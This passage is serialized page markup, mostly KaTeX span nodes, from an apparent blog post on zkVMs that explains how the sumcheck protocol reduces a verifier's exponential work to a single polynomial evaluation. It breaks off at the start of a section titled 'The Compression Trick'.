claim:",{"type":24,"tag":25,"props":115575,"children":115576},{},[115577],{"type":24,"tag":135,"props":115578,"children":115580},{"className":115579},[11705,11706],[115581],{"type":24,"tag":271,"props":115582,"children":115584},{"className":115583},[11711],[115585],{"type":24,"tag":271,"props":115586,"children":115588},{"className":115587,"ariaHidden":5670},[11716],[115589,115615],{"type":24,"tag":271,"props":115590,"children":115592},{"className":115591},[11721],[115593,115597,115602,115606,115611],{"type":24,"tag":271,"props":115594,"children":115596},{"className":115595,"style":29268},[11726],[],{"type":24,"tag":271,"props":115598,"children":115600},{"className":115599,"style":100071},[11732,29273],[115601],{"type":29,"value":100074},{"type":24,"tag":271,"props":115603,"children":115605},{"className":115604,"style":11908},[11810],[],{"type":24,"tag":271,"props":115607,"children":115609},{"className":115608},[11913],[115610],{"type":29,"value":762},{"type":24,"tag":271,"props":115612,"children":115614},{"className":115613,"style":11908},[11810],[],{"type":24,"tag":271,"props":115616,"children":115618},{"className":115617},[11721],[115619,115623,115773,115777,115920,115924,115931,115935,116079,116083,116089,116094,116151,116156,116160,116217,116222,116226,116232,116236,116241,116245,116303],{"type":24,"tag":271,"props":115620,"children":115622},{"className":115621,"style":29304},[11726],[],{"type":24,"tag":271,"props":115624,"children":115626},{"className":115625},[29309],[115627,115633],{"type":24,"tag":271,"props":115628,"children":115630},{"className":115629,"style":29316},[29309,29314,29315],[115631],{"type":29,"value":115632},"∑",{"type":24,"tag":271,"props":115634,"children":115636},{"className":115635},[11747],[115637],{"type":24,"tag":271,"props":115638,"children":115640},{"className":115639},[11752,29327],[115641,115762],{"type":24,"tag":271,"props":115642,"children":115644},{"className":115643},[11757],[115645,115757],{"type":24,"tag":271,"props":115646,"children":115648},{"className":115647,"style":29336},[11762],[115649],{"type":24,"tag":271,"props":115650,"children":115651},{"style":29340},[115652,115656],{"type":24,"tag":271,"props":115653,"children":115655},{"className":115654,"style":11772},[11771],[],{"type":24,"tag":271,"props":115657,"children":115659},{"className":115658},[11777,11778,11779,11780],[115660],{"type":24,"tag":271,"props":115661,"children":115663},{"className":115662},[11732,11780],[115664,115727,115732,115737,115742,115747,115752],{"type":24,"tag":271,"props":115665,"children":115667},{"className":115666},[11732,11780],[115668,115673],{"type":24,"tag":271,"props":115669,"children":115671},{"className":115670},[11732,29273,11780],[115672],{"type":29,"value":6034},{"type":24,"tag":271,"props":115674,"children":115676},{"className":115675},[11747],[115677],{"type":24,"tag":271,"props":115678,"children":115680},{"className":115679},[11752,29327],[115681,115715],{"type":24,"tag":271,"props":115682,"children":115684},{"className":115683},[11757],[115685,115710],{"type":24,"tag":271,"props":115686,"children":115689},{"className":115687,"style":115688},[11762],"height:0.3173em;",[115690],{"type":24,"tag":271,"props":115691,"children":115693},{"style":115692},"top:-2.357em;margin-left:0em;margin-right:0.0714em;",[115694,115699],{"type":24,"tag":271,"props":115695,"children":115698},{"className":115696,"style":115697},[11771],"height:2.5em;",[],{"type":24,"tag":271,"props":115700,"children":115704},{"className":115701},[11777,115702,115703,11780],"reset-size3","size1",[115705],{"type":24,"tag":271,"props":115706,"children":115708},{"className":115707},[11732,11780],[115709],{"type":29,"value":156},{"type":24,"tag":271,"props":115711,"children":115713},{"className":115712},[29430],[115714],{"type":29,"value":29433},{"type":24,"tag":271,"props":115716,"children":115718},{"className":115717},[11757],[115719],{"type":24,"tag":271,"props":115720,"children":115723},{"className":115721,"style":115722},[11762],"height:0.143em;",[115724],{"type":24,"tag":271,"props":115725,"children":115726},{},[],{"type":24,"tag":271,"props":115728,"children":115730},{"className":115729},[11913,11780],[115731],{"type":29,"value":29380},{"type":24,"tag":271,"props":115733,"children":115735},{"className":115734},[29402,11780],[115736],{"type":29,"value":83408},{"type":24,"tag":271,"props":115738,"children":115740},{"className":115739},[11732,11780],[115741],{"type":29,"value":4121},{"type":24,"tag":271,"props":115743,"children":115745},{"className":115744},[11842,11780],[115746],{"type":29,"value":11845},{"type":24,"tag":271,"props":115748,"children":115750},{"className":115749},[11732,11780],[115751],{"type":29,"value":156},{"type":24,"tag":271,"props":115753,"children":115755},{"className":115754},[29424,11780],[115756],{"type":29,"value":41809},{"type":24,"tag":271,"props":115758,"children":115760},{"className":115759},[29430],[115761],{"type":29,"value":29433},{"type":24,"tag":271,"props":115763,"children":115765},{"className":115764},[11757],[115766],{"type":24,"tag":271,"props":115767,"children":115769},{"className":115768,"style":29441},[11762],[115770],{"type":24,"tag":271,"props":115771,"children":115772},{},[],{"type":24,"tag":271,"props":115774,"children":115776},{"className":115775,"style":11849},[11810],[],{"type":24,"tag":271,"props":115778,"children":115780},{"className":115779},[29309],[115781,115786],{"type":24,"tag":271,"props":115782,"children":115784},{"className":115783,"style":29316},[29309,29314,29315],[115785],{"type":29,"value":115632},{"type":24,"tag":271,"props":115787,"children":115789},{"className":115788},[11747],[115790],{"type":24,"tag":271,"props":115791,"children":115793},{"className":115792},[11752,29327],[115794,115909],{"type":24,"tag":271,"props":115795,"children":115797},{"className":115796},[11757],[115798,115904],{"type":24,"tag":271,"props":115799,"children":115801},{"className":115800,"style":29336},[11762],[115802],{"type":24,"tag":271,"props":115803,"children":115804},{"style":29340},[115805,115809],{"type":24,"tag":271,"props":115806,"children":115808},{"className":115807,"style":11772},[11771],[],{"type":24,"tag":271,"props":115810,"children":115812},{"className":115811},[11777,11778,11779,11780],[115813],{"type":24,"tag":271,"props":115814,"children":115816},{"className":115815},[11732,11780],[115817,115874,115879,115884,115889,115894,115899],{"type":24,"tag":271,"props":115818,"children":115820},{"className":115819},[11732,11780],[115821,115826],{"type":24,"tag":271,"props":115822,"children":115824},{"className":115823},[11732,29273,11780],[115825],{"type":29,"value":6034},{"type":24,"tag":271,"props":115827,"children":115829},{"className":115828},[11747],[115830],{"type":24,"tag":271,"props":115831,"children":115833},{"className":115832},[11752,29327],[115834,115863],{"type":24,"tag":271,"props":115835,"children":115837},{"className":115836},[11757],[115838,115858],{"type":24,"tag":271,"props":115839,"children":115841},{"className":115840,"style":115688},[11762],[115842],{"type":24,"tag":271,"props":115843,"children":115844},{"style":115692},[115845,115849],{"type":24,"tag":271,"props":115846,"children":115848},{"className":115847,"style":115697},[11771],[],{"type":24,"tag":271,"props":115850,"children":115852},{"className":115851},[11777,115702,115703,11780],[115853],{"type":24,"tag":271,"props":115854,"children":115856},{"className":115855},[11732,11780],[115857],{"type":29,"value":165},{"type":24,"tag":271,"props":115859,"children":115861},{"className":115860},[29430],[115862],{"type":29,"value":29433},{"type":24,"tag":271,"props":115864,"children":115866},{"className":115865},[11757],[115867],{"type":24,"tag":271,"props":115868,"children":115870},{"className":115869,"style":115722},[11762],[115871],{"type":24,"tag":271,"props":115872,"children":115873},{},[],{"type":24,"tag":271,"props":115875,"children":115877},{"className":115876},[11913,11780],[115878],{"type":29,"value":29380},{"type":24,"tag":271,"props":115880,"children":115882},{"className":115881},[29402,11780],[115883],{"type":29,"value":83408},{"type":24,"tag":271,"props":115885,"children":115887},{"className":115886},[11732,11780],[115888],{"type":29,"value":4121},{"type":24,"tag":271,"props":115890,"children":115892},{"className":115891},[11842,11780],[115893],{"type":29,"value":11845},{"type":24,"tag":271,"props":115895,"children":115897},{"className":115896},[11732,11780],[115898],{"type":29,"value":156},{"type":24,"tag":271,"props":115900,"children":115902},{"className":115901},[29424,11780],[115903],{"type":29,"value":41809},{"type":24,"tag":271,"props":115905,"children":115907},{"className":115906},[29430],[115908],{"type":29,"value":29433},{"type":24,"tag":271,"props":115910,"children":115912},{"className":115911},[11757],[115913],{"type":24,"tag":271,"props":115914,"children":115916},{"className":115915,"style":29441},[11762],[115917],{"type":24,"tag":271,"props":115918,"children":115919},{},[],{"type":24,"tag":271,"props":115921,"children":115923},{"className":115922,"style":11849},[11810],[],{"type":24,"tag":271,"props":115925,"children":115928},{"className":115926},[115927],"minner",[115929],{"type":29,"value":115930},"⋯",{"type":24,"tag":271,"props":115932,"children":115934},{"className":115933,"style":11849},[11810],[],{"type":24,"tag":271,"props":115936,"children":115938},{"className":115937},[29309],[115939,115944],{"type":24,"tag":271,"props":115940,"children":115942},{"className":115941,"style":29316},[29309,29314,29315],[115943],{"type":29,"value":115632},{"type":24,"tag":271,"props":115945,"children":115947},{"className":115946},[11747],[115948],{"type":24,"tag":271,"props":115949,"children":115951},{"className":115950},[11752,29327],[115952,116068],{"type":24,"tag":271,"props":115953,"children":115955},{"className":115954},[11757],[115956,116063],{"type":24,"tag":271,"props":115957,"children":115959},{"className":115958,"style":29336},[11762],[115960],{"type":24,"tag":271,"props":115961,"children":115962},{"style":29340},[115963,115967],{"type":24,"tag":271,"props":115964,"children":115966},{"className":115965,"style":11772},[11771],[],{"type":24,"tag":271,"props":115968,"children":115970},{"className":115969},[11777,11778,11779,11780],[115971],{"type":24,"tag":271,"props":115972,"children":115974},{"className":115973},[11732,11780],[115975,116033,116038,116043,116048,116053,116058],{"type":24,"tag":271,"props":115976,"children":115978},{"className":115977},[11732,11780],[115979,115984],{"type":24,"tag":271,"props":115980,"children":115982},{"className":115981},[11732,29273,11780],[115983],{"type":29,"value":6034},{"type":24,"tag":271,"props":115985,"children":115987},{"className":115986},[11747],[115988],{"type":24,"tag":271,"props":115989,"children":115991},{"className":115990},[11752,29327],[115992,116022],{"type":24,"tag":271,"props":115993,"children":115995},{"className":115994},[11757],[115996,116017],{"type":24,"tag":271,"props":115997,"children":116000},{"className":115998,"style":115999},[11762],"height:0.1645em;",[116001],{"type":24,"tag":271,"props":116002,"children":116003},{"style":115692},[116004,116008],{"type":24,"tag":271,"props":116005,"children":116007},{"className":116006,"style":115697},[11771],[],{"type":24,"tag":271,"props":116009,"children":116011},{"className":116010},[11777,115702,115703,11780],[116012],{"type":24,"tag":271,"props":116013,"children":116015},{"className":116014},[11732,29273,11780],[116016],{"type":29,"value":6054},{"type":24,"tag":271,"props":116018,"children":116020},{"className":116019},[29430],[116021],{"type":29,"value":29433},{"type":24,"tag":271,"props":116023,"children":116025},{"className":116024},[11757],[116026],{"type":24,"tag":271,"props":116027,"children":116029},{"className":116028,"style":115722},[11762],[116030],{"type":24,"tag":271,"props":116031,"children":116032},{},[],{"type":24,"tag":271,"props":116034,"children":116036},{"className":116035},[11913,11780],[116037],{"type":29,"value":29380},{"type":24,"tag":271,"props":116039,"children":116041},{"className":116040},[29402,11780],[116042],{"type":29,"value":83408},{"type":24,"tag":271,"props":116044,"children":116046},{"className":116045},[11732,11780],[116047],{"type":29,"value":4121},{"type":24,"tag":271,"props":116049,"children":116051},{"className":116050},[11842,11780],[116052],{"type":29,"value":11845},{"type":24,"tag":271,"props":116054,"children":116056},{"className":116055},[11732,11780],[116057],{"type":29,"value":156},{"type":24,"tag":271,"props":116059,"children":116061},{"className":116060},[29424,11780],[116062],{"type":29,"value":41809},{"type":24,"tag":271,"props":116064,"children":116066},{"className":116065},[29430],[116067],{"type":29,"value":29433},{"type":24,"tag":271,"props":116069,"children":116071},{"className":116070},[11757],[116072],{"type":24,"tag":271,"props":116073,"children":116075},{"className":116074,"style":29441},[11762],[116076],{"type":24,"tag":271,"props":116077,"children":116078},{},[],{"type":24,"tag":271,"props":116080,"children":116082},{"className":116081,"style":11849},[11810],[],{"type":24,"tag":271,"props":116084,"children":116086},{"className":116085,"style":100323},[11732,29273],[116087],{"type":29,"value":116088},"g",{"type":24,"tag":271,"props":116090,"children":116092},{"className":116091},[29402],[116093],{"type":29,"value":606},{"type":24,"tag":271,"props":116095,"children":116097},{"className":116096},[11732],[116098,116103],{"type":24,"tag":271,"props":116099,"children":116101},{"className":116100},[11732,29273],[116102],{"type":29,"value":6034},{"type":24,"tag":271,"props":116104,"children":116106},{"className":116105},[11747],[116107],{"type":24,"tag":271,"props":116108,"children":116110},{"className":116109},[11752,29327],[116111,116140],{"type":24,"tag":271,"props":116112,"children":116114},{"className":116113},[11757],[116115,116135],{"type":24,"tag":271,"props":116116,"children":116118},{"className":116117,"style":99889},[11762],[116119],{"type":24,"tag":271,"props":116120,"children":116121},{"style":99893},[116122,116126],{"type":24,"tag":271,"props":116123,"children":116125},{"className":116124,"style":11772},[11771],[],{"type":24,"tag":271,"props":116127,"children":116129},{"className":116128},[11777,11778,11779,11780],[116130],{"type":24,"tag":271,"props":116131,"children":116133},{"className":116132},[11732,11780],[116134],{"type":29,"value":156},{"type":24,"tag":271,"props":116136,"children":116138},{"className":116137},[29430],[116139],{"type":29,"value":29433},{"type":24,"tag":271,"props":116141,"children":116143},{"className":116142},[11757],[116144],{"type":24,"tag":271,"props":116145,"children":116147},{"className":116146,"style":99920},[11762],[116148],{"type":24,"tag":271,"props":116149,"children":116150},{},[],{"type":24,"tag":271,"props":116152,"children":116154},{"className":116153},[11842],[116155],{"type":29,"value":11845},{"type":24,"tag":271,"props":116157,"children":116159},{"className":116158,"style":11849},[11810],[],{"type":24,"tag":271,"props":116161,"children":116163},{"className":116162},[11732],[116164,116169],{"type":24,"tag":271,"props":116165,"children":116167},{"className":116166},[11732,29273],[116168],{"type":29,"value":6034},{"type":24,"tag":271,"props":116170,"children":116172},{"className":116171},[11747],[116173],{"type":24,"tag":271,"props":116174,"children":116176},{"className":116175},[11752,29327],[116177,116206],{"type":24,"tag":271,"props":116178,"children":116180},{"className":116179},[11757],[116181,116201],{"type":24,"tag":271,"props":116182,"children":116184},{"className":116183,"style":99889},[11762],[116185],{"type":24,"tag":271,"props":116186,"children":116187},{"style":99893},[116188,116192],{"type":24,"tag":271,"props":116189,"children":116191},{"className":116190,"style":11772},[11771],[],{"type":24,"tag":271,"props":116193,"children":116195},{"className":116194},[11777,11778,11779,11780],[116196],{"type":24,"tag":271,"props":116197,"children":116199},{"className":116198},[11732,11780],[116200],{"type":29,"value":165},{"type":24,"tag":271,"props":116202,"children":116204},{"className":116203},[29430],[116205],{"type":29,"value":29433},{"type":24,"tag":271,"props":116207,"children":116209},{"className":116208},[11757],[116210],{"type":24,"tag":271,"props":116211,"children":116213},{"className":116212,"style":99920},[11762],[116214],{"type":24,"tag":271,"props":116215,"children":116216},{},[],{"type":24,"tag":271,"props":116218,"children":116220},{"className":116219},[11842],[116221],{"type":29,"value":11845},{"type":24,"tag":271,"props":116223,"children":116225},{"className":116224,"style":11849},[11810],[],{"type":24,"tag":271,"props":116227,"children":116229},{"className":116228},[115927],[116230],{"type":29,"value":116231},"…",{"type":24,"tag":271,"props":116233,"children":116235},{"className":116234,"style":11849},[11810],[],{"type":24,"tag":271,"props":116237,"children":116239},{"className":116238},[11842],[116240],{"type":29,"value":11845},{"type":24,"tag":271,"props":116242,"children":116244},{"className":116243,"style":11849},[11810],[],{"type":24,"tag":271,"props":116246,"children":116248},{"className":116247},[11732],[116249,116254],{"type":24,"tag":271,"props":116250,"children":116252},{"className":116251},[11732,29273],[116253],{"type":29,"value":6034},{"type":24,"tag":271,"props":116255,"children":116257},{"className":116256},[11747],[116258],{"type":24,"tag":271,"props":116259,"children":116261},{"className":116260},[11752,29327],[116262,116292],{"type":24,"tag":271,"props":116263,"children":116265},{"className":116264},[11757],[116266,116287],{"type":24,"tag":271,"props":116267,"children":116270},{"className":116268,"style":116269},[11762],"height:0.1514em;",[116271],{"type":24,"tag":271,"props":116272,"children":116273},{"style":99893},[116274,116278],{"type":24,"tag":271,"props":116275,"children":116277},{"className":116276,"style":11772},[11771],[],{"type":24,"tag":271,"props":116279,"children":116281},{"className":116280},[11777,11778,11779,11780],[116282],{"type":24,"tag":271,"props":116283,"children":116285},{"className":116284},[11732,29273,11780],[116286],{"type":29,"value":6054},{"type":24,"tag":271,"props":116288,"children":116290},{"className":116289},[29430],[116291],{"type":29,"value":29433},{"type":24,"tag":271,"props":116293,"children":116295},{"className":116294},[11757],[116296],{"type":24,"tag":271,"props":116297,"children":116299},{"className":116298,"style":99920},[11762],[116300],{"type":24,"tag":271,"props":116301,"children":116302},{},[],{"type":24,"tag":271,"props":116304,"children":116306},{"className":116305},[29424],[116307],{"type":29,"value":2693},{"type":24,"tag":25,"props":116309,"children":116310},{},[116311,116313,116374],{"type":29,"value":116312},"The naive approach would be for the verifier to compute all ",{"type":24,"tag":135,"props":116314,"children":116316},{"className":116315},[11705,11706],[116317],{"type":24,"tag":271,"props":116318,"children":116320},{"className":116319},[11711],[116321],{"type":24,"tag":271,"props":116322,"children":116324},{"className":116323,"ariaHidden":5670},[11716],[116325],{"type":24,"tag":271,"props":116326,"children":116328},{"className":116327},[11721],[116329,116333],{"type":24,"tag":271,"props":116330,"children":116332},{"className":116331,"style":115554},[11726],[],{"type":24,"tag":271,"props":116334,"children":116336},{"className":116335},[11732],[116337,116342],{"type":24,"tag":271,"props":116338,"children":116340},{"className":116339},[11732],[116341],{"type":29,"value":165},{"type":24,"tag":271,"props":116343,"children":116345},{"className":116344},[11747],[116346],{"type":24,"tag":271,"props":116347,"children":116349},{"className":116348},[11752],[116350],{"type":24,"tag":271,"props":116351,"children":116353},{"className":116352},[11757],[116354],{"type":24,"tag":271,"props":116355,"children":116357},{"className":116356,"style":115554},[11762],[116358],{"type":24,"tag":271,"props":116359,"children":116360},{"style":11766},[116361,116365],{"type":24,"tag":271,"props":116362,"children":116364},{"className":116363,"style":11772},[11771],[],{"type":24,"tag":271,"props":116366,"children":116368},{"className":116367},[11777,11778,11779,11780],[116369],{"type":24,"tag":271,"props":116370,"children":116372},{"className":116371},[11732,29273,11780],[116373],{"type":29,"value":6054},{"type":29,"value":116375}," evaluations. This is exponentially expensive.",{"type":24,"tag":25,"props":116377,"children":116378},{},[116379,116381,116386],{"type":29,"value":116380},"The sumcheck protocol is a clever interactive protocol that reduces the exponential number of polynomial evaluations to checking ",{"type":24,"tag":213,"props":116382,"children":116383},{},[116384],{"type":29,"value":116385},"only one",{"type":29,"value":41},{"type":24,"tag":25,"props":116388,"children":116389},{},[116390],{"type":24,"tag":74,"props":116391,"children":116394},{"alt":116392,"src":116393},"sumcheck_v2","/posts/zkvms-unfaithful-claims/sumcheck_v2.svg",[],{"type":24,"tag":25,"props":116396,"children":116397},{},[116398,116400,116492,116494,116679,116681,116706,116708,116786,116788,116867],{"type":29,"value":116399},"In each round, the prover must send a polynomial ",{"type":24,"tag":135,"props":116401,"children":116403},{"className":116402},[11705,11706],[116404],{"type":24,"tag":271,"props":116405,"children":116407},{"className":116406},[11711],[116408],{"type":24,"tag":271,"props":116409,"children":116411},{"className":116410,"ariaHidden":5670},[11716],[116412],{"type":24,"tag":271,"props":116413,"children":116415},{"className":116414},[11721],[116416,116420,116477,116482,116487],{"type":24,"tag":271,"props":116417,"children":116419},{"className":116418,"style":11831},[11726],[],{"type":24,"tag":271,"props":116421,"children":116423},{"className":116422},[11732],[116424,116429],{"type":24,"tag":271,"props":116425,"children":116427},{"className":116426,"style":100323},[11732,29273],[116428],{"type":29,"value":116088},{"type":24,"tag":271,"props":116430,"children":116432},{"className":116431},[11747],[116433],{"type":24,"tag":271,"props":116434,"children":116436},{"className":116435},[11752,29327],[116437,116466],{"type":24,"tag":271,"props":116438,"children":116440},{"className":116439},[11757],[116441,116461],{"type":24,"tag":271,"props":116442,"children":116444},{"className":116443,"style":100366},[11762],[116445],{"type":24,"tag":271,"props":116446,"children":116447},{"style":100370},[116448,116452],{"type":24,"tag":271,"props":116449,"children":116451},{"className":116450,"style":11772},[11771],[],{"type":24,"tag":271,"props":116453,"children":116455},{"className":116454},[11777,11778,11779,11780],[116456],{"type":24,"tag":271,"props":116457,"children":116459},{"className":116458},[11732,29273,11780],[116460],{"type":29,"value":11462},{"type":24,"tag":271,"props":116462,"children":116464},{"className":116463},[29430],[116465],{"type":29,"value":29433},{"type":24,"tag":271,"props":116467,"children":116469},{"className":116468},[11757],[116470],{"type":24,"tag":271,"props":116471,"children":116473},{"className":116472,"style":99920},[11762],[116474],{"type":24,"tag":271,"props":116475,"children":116476},{},[],{"type":24,"tag":271,"props":116478,"children":116480},{"className":116479},[29402],[116481],{"type":29,"value":606},{"type":24,"tag":271,"props":116483,"children":116485},{"className":116484,"style":101857},[11732,29273],[116486],{"type":29,"value":13850},{"type":24,"tag":271,"props":116488,"children":116490},{"className":116489},[29424],[116491],{"type":29,"value":2693},{"type":29,"value":116493}," such that ",{"type":24,"tag":135,"props":116495,"children":116497},{"className":116496},[11705,11706],[116498],{"type":24,"tag":271,"props":116499,"children":116501},{"className":116500},[11711],[116502],{"type":24,"tag":271,"props":116503,"children":116505},{"className":116504,"ariaHidden":5670},[11716],[116506,116599],{"type":24,"tag":271,"props":116507,"children":116509},{"className":116508},[11721],[116510,116514,116571,116576,116581,116586,116590,116595],{"type":24,"tag":271,"props":116511,"children":116513},{"className":116512,"style":11831},[11726],[],{"type":24,"tag":271,"props":116515,"children":116517},{"className":116516},[11732],[116518,116523],{"type":24,"tag":271,"props":116519,"children":116521},{"className":116520,"style":100323},[11732,29273],[116522],{"type":29,"value":116088},{"type":24,"tag":271,"props":116524,"children":116526},{"className":116525},[11747],[116527],{"type":24,"tag":271,"props":116528,"children":116530},{"className":116529},[11752,29327],[116531,116560],{"type":24,"tag":271,"props":116532,"children":116534},{"className":116533},[11757],[116535,116555],{"type":24,"tag":271,"props":116536,"children":116538},{"className":116537,"style":100366},[11762],[116539],{"type":24,"tag":271,"props":116540,"children":116541},{"style":100370},[116542,116546],{"type":24,"tag":271,"props":116543,"children":116545},{"className":116544,"style":11772},[11771],[],{"type":24,"tag":271,"props":116547,"children":116549},{"className":116548},[11777,11778,11779,11780],[116550],{"type":24,"tag":271,"props":116551,"children":116553},{"className":116552},[11732,29273,11780],[116554],{"type":29,"value":11462},{"type":24,"tag":271,"props":116556,"children":116558},{"className":116557},[29430],[116559],{"type":29,"value":29433},{"type":24,"tag":271,"props":116561,"children":116563},{"className":116562},[11757],[116564],{"type":24,"tag":271,"props":116565,"children":116567},{"className":116566,"style":99920},[11762],[116568],{"type":24,"tag":271,"props":116569,"children":116570},{},[],{"type":24,"tag":271,"props":116572,"children":116574},{"className":116573},[29402],[116575],{"type":29,"value":606},{"type":24,"tag":271,"props":116577,"children":116579},{"className":116578},[11732],[116580],{"type":29,"value":4121},{"type":24,"tag":271,"props":116582,"children":116584},{"className":116583},[29424],[116585],{"type":29,"value":2693},{"type":24,"tag":271,"props":116587,"children":116589},{"className":116588,"style":11811},[11810],[],{"type":24,"tag":271,"props":116591,"children":116593},{"className":116592},[11816],[116594],{"type":29,"value":1012},{"type":24,"tag":271,"props":116596,"children":116598},{"className":116597,"style":11811},[11810],[],{"type":24,"tag":271,"props":116600,"children":116602},{"className":116601},[11721],[116603,116607,116664,116669,116674],{"type":24,"tag":271,"props":116604,"children":116606},{"className":116605,"style":11831},[11726],[],{"type":24,"tag":271,"props":116608,"children":116610},{"className":116609},[11732],[116611,116616],{"type":24,"tag":271,"props":116612,"children":116614},{"className":116613,"style":100323},[11732,29273],[116615],{"type":29,"value":116088},{"type":24,"tag":271,"props":116617,"children":116619},{"className":116618},[11747],[116620],{"type":24,"tag":271,"props":116621,"children":116623},{"className":116622},[11752,29327],[116624,116653],{"type":24,"tag":271,"props":116625,"children":116627},{"className":116626},[11757],[116628,116648],{"type":24,"tag":271,"props":116629,"children":116631},{"className":116630,"style":100366},[11762],[116632],{"type":24,"tag":271,"props":116633,"children":116634},{"style":100370},[116635,116639],{"type":24,"tag":271,"props":116636,"children":116638},{"className":116637,"style":11772},[11771],[],{"type":24,"tag":271,"props":116640,"children":116642},{"className":116641},[11777,11778,11779,11780],[116643],{"type":24,"tag":271,"props":116644,"children":116646},{"className":116645},[11732,29273,11780],[116647],{"type":29,"value":11462},{"type":24,"tag":271,"props":116649,"children":116651},{"className":116650},[29430],[116652],{"type":29,"value":29433},{"type":24,"tag":271,"props":116654,"children":116656},{"className":116655},[11757],[116657],{"type":24,"tag":271,"props":116658,"children":116660},{"className":116659,"style":99920},[11762],[116661],{"type":24,"tag":271,"props":116662,"children":116663},{},[],{"type":24,"tag":271,"props":116665,"children":116667},{"className":116666},[29402],[116668],{"type":29,"value":606},{"type":24,"tag":271,"props":116670,"children":116672},{"className":116671},[11732],[116673],{"type":29,"value":156},{"type":24,"tag":271,"props":116675,"children":116677},{"className":116676},[29424],[116678],{"type":29,"value":2693},{"type":29,"value":116680}," equals the previous claim. If the prover is lying about the original sum ",{"type":24,"tag":135,"props":116682,"children":116684},{"className":116683},[11705,11706],[116685],{"type":24,"tag":271,"props":116686,"children":116688},{"className":116687},[11711],[116689],{"type":24,"tag":271,"props":116690,"children":116692},{"className":116691,"ariaHidden":5670},[11716],[116693],{"type":24,"tag":271,"props":116694,"children":116696},{"className":116695},[11721],[116697,116701],{"type":24,"tag":271,"props":116698,"children":116700},{"className":116699,"style":29268},[11726],[],{"type":24,"tag":271,"props":116702,"children":116704},{"className":116703,"style":100071},[11732,29273],[116705],{"type":29,"value":100074},{"type":29,"value":116707},", then they must lie about ",{"type":24,"tag":135,"props":116709,"children":116711},{"className":116710},[11705,11706],[116712],{"type":24,"tag":271,"props":116713,"children":116715},{"className":116714},[11711],[116716],{"type":24,"tag":271,"props":116717,"children":116719},{"className":116718,"ariaHidden":5670},[11716],[116720],{"type":24,"tag":271,"props":116721,"children":116723},{"className":116722},[11721],[116724,116729],{"type":24,"tag":271,"props":116725,"children":116728},{"className":116726,"style":116727},[11726],"height:0.625em;vertical-align:-0.1944em;",[],{"type":24,"tag":271,"props":116730,"children":116732},{"className":116731},[11732],[116733,116738],{"type":24,"tag":271,"props":116734,"children":116736},{"className":116735,"style":100323},[11732,29273],[116737],{"type":29,"value":116088},{"type":24,"tag":271,"props":116739,"children":116741},{"className":116740},[11747],[116742],{"type":24,"tag":271,"props":116743,"children":116745},{"className":116744},[11752,29327],[116746,116775],{"type":24,"tag":271,"props":116747,"children":116749},{"className":116748},[11757],[116750,116770],{"type":24,"tag":271,"props":116751,"children":116753},{"className":116752,"style":100366},[11762],[116754],{"type":24,"tag":271,"props":116755,"children":116756},{"style":100370},[116757,116761],{"type":24,"tag":271,"props":116758,"children":116760},{"className":116759,"style":11772},[11771],[],{"type":24,"tag":271,"props":116762,"children":116764},{"className":116763},[11777,11778,11779,11780],[116765],{"type":24,"tag":271,"props":116766,"children":116768},{"className":116767},[11732,29273,11780],[116769],{"type":29,"value":11462},{"type":24,"tag":271,"props":116771,"children":116773},{"className":116772},[29430],[116774],{"type":29,"value":29433},{"type":24,"tag":271,"props":116776,"children":116778},{"className":116777},[11757],[116779],{"type":24,"tag":271,"props":116780,"children":116782},{"className":116781,"style":99920},[11762],[116783],{"type":24,"tag":271,"props":116784,"children":116785},{},[],{"type":29,"value":116787}," somewhere. But since the verifier picks a random ",{"type":24,"tag":135,"props":116789,"children":116791},{"className":116790},[11705,11706],[116792],{"type":24,"tag":271,"props":116793,"children":116795},{"className":116794},[11711],[116796],{"type":24,"tag":271,"props":116797,"children":116799},{"className":116798,"ariaHidden":5670},[11716],[116800],{"type":24,"tag":271,"props":116801,"children":116803},{"className":116802},[11721],[116804,116809],{"type":24,"tag":271,"props":116805,"children":116808},{"className":116806,"style":116807},[11726],"height:0.5806em;vertical-align:-0.15em;",[],{"type":24,"tag":271,"props":116810,"children":116812},{"className":116811},[11732],[116813,116818],{"type":24,"tag":271,"props":116814,"children":116816},{"className":116815,"style":99837},[11732,29273],[116817],{"type":29,"value":100656},{"type":24,"tag":271,"props":116819,"children":116821},{"className":116820},[11747],[116822],{"type":24,"tag":271,"props":116823,"children":116825},{"className":116824},[11752,29327],[116826,116856],{"type":24,"tag":271,"props":116827,"children":116829},{"className":116828},[11757],[116830,116851],{"type":24,"tag":271,"props":116831,"children":116833},{"className":116832,"style":100366},[11762],[116834],{"type":24,"tag":271,"props":116835,"children":116837},{"style":116836},"top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;",[116838,116842],{"type":24,"tag":271,"props":116839,"children":116841},{"className":116840,"style":11772},[11771],[],{"type":24,"tag":271,"props":116843,"children":116845},{"className":116844},[11777,11778,11779,11780],[116846],{"type":24,"tag":271,"props":116847,"children":116849},{"className":116848},[11732,29273,11780],[116850],{"type":29,"value":11462},{"type":24,"tag":271,"props":116852,"children":116854},{"className":116853},[29430],[116855],{"type":29,"value":29433},{"type":24,"tag":271,"props":116857,"children":116859},{"className":116858},[11757],[116860],{"type":24,"tag":271,"props":116861,"children":116863},{"className":116862,"style":99920},[11762],[116864],{"type":24,"tag":271,"props":116865,"children":116866},{},[],{"type":29,"value":116868},", with overwhelming probability, the prover won't then be able to match the evaluation of the original polynomial.",{"type":24,"tag":26585,"props":116870,"children":116872},{"id":116871},"the-compression-trick",[116873],{"type":29,"value":116874},"The Compression Trick",{"type":24,"tag":25,"props":116876,"children":116877},{},[116878,116880,117030,117032,117312],{"type":29,"value":116879},"For degree-1 (multilinear) polynomials, ",{"type":24,"tag":135,"props":116881,"children":116883},{"className":116882},[11705,11706],[116884],{"type":24,"tag":271,"props":116885,"children":116887},{"className":116886},[11711],[116888],{"type":24,"tag":271,"props":116889,"children":116891},{"className":116890,"ariaHidden":5670},[11716],[116892,116985,117012],{"type":24,"tag":271,"props":116893,"children":116895},{"className":116894},[11721],[116896,116900,116957,116962,116967,116972,116976,116981],{"type":24,"tag":271,"props":116897,"children":116899},{"className":116898,"style":11831},[11726],[],{"type":24,"tag":271,"props":116901,"children":116903},{"className":116902},[11732],[116904,116909],{"type":24,"tag":271,"props":116905,"children":116907},{"className":116906,"style":100323},[11732,29273],[116908],{"type":29,"value":116088},{"type":24,"tag":271,"props":116910,"children":116912},{"className":116911},[11747],[116913],{"type":24,"tag":271,"props":116914,"children":116916},{"className":116915},[11752,29327],[116917,116946],{"type":24,"tag":271,"props":116918,"children":116920},{"className":116919},[11757],[116921,116941],{"type":24,"tag":271,"props":116922,"children":116924},{"className":116923,"style":100366},[11762],[116925],{"type":24,"tag":271,"props":116926,"children":116927},{